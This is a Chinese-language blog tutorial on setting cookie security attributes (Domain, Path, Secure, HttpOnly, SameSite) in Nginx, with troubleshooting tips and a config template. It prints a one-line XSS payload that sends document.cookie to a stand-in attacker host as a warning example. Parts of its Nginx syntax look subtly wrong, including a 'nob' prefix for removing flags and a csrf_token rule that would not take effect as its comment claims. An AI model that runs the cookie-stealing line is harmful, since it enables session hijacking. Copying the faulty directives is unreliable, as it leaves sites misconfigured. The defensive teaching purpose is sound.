Cookie 安全属性配置实战:HttpOnly、Secure、SameSite 从原理到排错

为什么你的登录态会被盗走

很多个人站长做安全加固时,注意力都放在服务器端口、防火墙、SSH 密钥上,却忽略了浏览器和服务器之间那个小小的 Set-Cookie 头。实际上,会话 Cookie 就是网站的第二把钥匙——攻击者拿到它,不需要破解你的密码,也不需要爆破 SSH,直接带上这个 Cookie 发请求,服务器就认为他就是你。

一个典型的翻车场景是这样的:站点里某个后台页面被 XSS 注入了一段脚本,脚本只有一行:

new Image().src = 'https://evil.example/x?c=' + document.cookie;

如果你的会话 Cookie 没有设置 HttpOnly,这一行就能把登录凭据直接发到攻击者的服务器上。整个过程悄无声息,日志里看不到任何异常登录,因为攻击者用的就是你自己的合法会话。

这篇文章把 Cookie 的四个关键属性——DomainPathSecureHttpOnlySameSite——在 Nginx 层的实战配置和排查方法讲透,最后给出一份可以直接抄的配置模板。

先搞清楚 Cookie 的三类作用域属性

要正确加固,得先明白浏览器是按什么规则决定「这个 Cookie 该不该发给某个请求」的。这个判断分三步走,任何一步不匹配,Cookie 就不会被发送。

第一层:Domain(域匹配)。如果不显式设置 Domain,Cookie 默认是 Host-Only 的,只有请求完全匹配当前主机名时才发送,子域名拿不到。一旦你写了 Domain=example.com,那么 www.example.comblog.example.comstatic.example.com 全都会带上这个 Cookie。这就是很多站长的第一个坑:为了图方便在 .example.com 上种一个通用 Cookie,结果一个被挂马的子域或者一个第三方托管的静态资源域,都能拿到主站的会话凭据。

第二层:Path(路径匹配)。Path=/admin 意味着只有 /admin 及其子路径的请求才会带上 Cookie。这本来是很好的收敛手段,但现实中很多框架默认写的是 Path=/,等于全站可见。更有意思的是 Path 的匹配规则是前缀匹配而不是目录匹配,Path=/admin 同样会匹配到 /administrator 这个毫不相干的路径——排查时经常会在这里绕圈。

第三层:Secure 与 SameSite。这两个属性不决定「发给谁」,而决定「什么情况下才能被带上」和「跨站请求能不能带上」。这是现代浏览器重点管的两件事。

Secure:不是可有可无的开关

Secure 属性告诉浏览器:这个 Cookie 只允许通过 HTTPS 发送,HTTP 请求一律不带。听起来很基础,但它的实际作用比想象中更关键。

在没有 Secure 的情况下,一个页面即使本身是 HTTPS 的,只要有一次通过 HTTP 访问同域(比如用户手动输入了 http:// 开头的地址,或者站内某条老链接还是 HTTP),Cookie 就会在明文的 HTTP 请求里被发出去。同一网络下的攻击者用 ARP 欺骗或者公共 WiFi 抓包,就能直接拿到会话 ID。这叫 会话劫持(Session Hijacking),比暴力破解高效得多。

配置方式是在 Nginx 里对 Cookie 头做重写:

# 对所有后端返回的 Set-Cookie 追加 Secure 和 HttpOnly
proxy_cookie_flags ~ secure httponly;

# 如果只想对特定 Cookie 生效,用正则精确控制
proxy_cookie_flags ~*session secure httponly samesite=lax;

proxy_cookie_flags 是 Nginx 1.19.3 之后才有的指令。如果你的环境是更老的版本,得用 proxy_cookie_path 结合 sub_filter 来凑,但那种做法容易出错,建议直接升级 Nginx。

需要提醒的是,Secure 属性一旦设置,本地用 HTTP 调试时会发现登录态完全失效——Cookie 种不上。这是正常的,不是配置错误。本地开发环境要么用 localhost 例外(浏览器对 localhost 的 Secure Cookie 有豁免),要么在开发环境的配置里单独把这行注释掉。不少站长第一次上线 Secure 后半夜被用户电话叫醒,就是因为测试环境忘了区分。

HttpOnly:把 Cookie 从 JavaScript 手里拿走

HttpOnly 的作用很单一但极其重要:document.cookie 读不到这个 Cookie。它不阻止浏览器在请求里自动携带,只是把 JavaScript 的读取权限掐掉。

这一条几乎可以完全防住 XSS 窃取会话这一条路。虽然 XSS 本身意味着攻击者可以在你的页面上执行任意脚本(他依然可以直接调用你的 API、模拟点击、修改页面内容),但至少他没法把会话 Cookie 导出到自己的服务器上慢慢用。攻击从「持久化控制」降级成「一次性操作」,危害面小一个数量级。

配置同样简单:

proxy_cookie_flags ~ httponly;

但有个坑必须说清楚:HttpOnly 只对会话 Cookie 有效,不能全站无脑开。如果你的前端代码确实需要读取某个 Cookie(比如 CSRF Token、用户偏好、A/B 测试分组标记),把这个 Cookie 也设成 HttpOnly,前端会直接读不到值,表现为「登录后下拉框不显示用户名」「A/B 测试永远分到 A 组」这类诡异 bug。正确做法是分类处理——会话 ID 必须 HttpOnly,非敏感的展示类 Cookie 保持 JS 可读。

SameSite:现代浏览器最重要的一道跨站防线

SameSite 是这三个属性里最容易被忽略、也最容易配出问题的。它控制的核心问题是:当请求来自另一个站点时,浏览器要不要带上这个 Cookie。它防的是 CSRF(跨站请求伪造)。

它有三个取值,行为差异很大:

SameSite=Strict:最严格。任何跨站发起的请求都不带 Cookie。用户从百度搜索结果点进你的网站,浏览器会认为这是跨站导航,第一次请求不带 Cookie,于是站点显示「未登录」——用户必须先手点一下站内链接或者刷新,才会变成已登录状态。体验很割裂,一般只用于高敏感操作(比如支付、改密码)。

SameSite=Lax:默认值,也是绝大多数场景的最优解。它允许 Cookie 在顶层导航(也就是用户点击链接跳转、地址栏直接访问)时发送,但阻止 POST 表单、iframefetch、图片等子资源请求携带 Cookie。这样既保住了从搜索引擎点进来的登录态,又挡住了大部分 CSRF 攻击。

SameSite=None:明确允许跨站携带。这个值必须同时加上 Secure,否则现代浏览器直接拒绝整个 Cookie。它只用于确实需要跨站嵌入的场景,比如你的站点被第三方 iframe 嵌入并提供登录态、或者要跟另一个域名做单点登录互通。

Nginx 里可以这样统一处理:

# 主线站点:会话 Cookie 加 Lax
proxy_cookie_flags ~ samesite=lax;

# 单独放开某个确实需要跨站的 Cookie
proxy_cookie_flags ~*crosssite_cookie samesite=none secure;

特别注意 proxy_cookie_flags 支持 flagnobflag 两种写法。samesite=lax 是加上这个属性,而 nobflag 前缀是移除属性。当后端框架自己已经种了一个错误的 SameSite 值,你在 Nginx 层就得先移除再加:

proxy_cookie_flags ~*session nobsamesite samesite=lax secure httponly;

常见故障与排查思路

症状一:加了 SameSite=Strict 后,用户从搜索引擎进来全变成未登录。这是最经典的误配。Strict 会拦掉跨站导航的 Cookie,用户体感就是「这个站老是掉登录」。解决办法是改回 Lax,或者至少不要对主会话 Cookie 用 Strict。

症状二:第三方 iframe 嵌入后登录态丢失。说明这个 Cookie 需要 SameSite=None; Secure。注意现代浏览器对「无 SameSite 属性」的 Cookie 默认按 Lax 处理,所以哪怕你什么都没配,跨站 iframe 里的请求也不会带 Cookie——这是 2020 年之后的行为变更,很多老站点的代码是那之前写的,迁过来就直接坏了。

症状三:设置了 Secure 但站点仍然是 HTTP,Cookie 全部种不上。检查浏览器开发者工具的 Application → Cookies 面板,看看这个 Cookie 有没有出现「Secure 但页面是 HTTP」的警告。Nginx 里可以用变量判断,只在 HTTPS 请求时追加 Secure:

map $scheme $cookie_secure_flag {
    https   "secure httponly samesite=lax";
    default "httponly samesite=lax";
}

server {
    location / {
        proxy_cookie_flags ~ $cookie_secure_flag;
        proxy_pass http://backend;
    }
}

这样 HTTP 调试和 HTTPS 生产环境可以共用一份配置,不用来回改。

症状四:Cookie 莫名其妙发给了子域名或第三方域。检查 Set-Cookie 里有没有 Domain=.yourdomain.com。如果没有特殊需求,直接删掉 Domain 属性,让它退回 Host-Only 模式,这是最安全的默认状态。

一份可以抄的完整配置

把上面的内容整合起来,一个面向个人站点的通用配置大概长这样:

map $scheme $cookie_flags_default {
    https   "secure httponly samesite=lax";
    default "httponly samesite=lax";
}

server {
    listen 443 ssl http2;
    server_name www.example.com;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Proto $scheme;

        # 统一给后端种下的 Cookie 补上安全属性
        proxy_cookie_flags ~ $cookie_flags_default;

        # 前端确实需要读的 Cookie(如 CSRF Token)单独放开 HttpOnly
        proxy_cookie_flags ~*csrf_token nobsamesite samesite=lax;
    }
}

配置完之后务必实测一遍。最直接的办法是打开浏览器开发者工具,在 Network 面板里找登录请求的响应头,逐条核对 Set-Cookie 的每个属性。再顺手看一下 Console 有没有黄底的 Cookie 警告,浏览器这几年对 Cookie 问题的提示相当直白,比翻文档快得多。

最后提醒一句:Cookie 安全属性是纵深防御里成本最低、收益最高的一环。它不能替代输入过滤、CSRF Token、WAF 这些东西,但只要花十分钟把上面几个属性配对,就能直接把「XSS 偷会话」和「跨站 CSRF」两条最常见的攻击路径堵死一大半。对个人站长来说,这是性价比极高的投入。

Last modification:September 16th, 2026 at 12:23 pm

Leave a Comment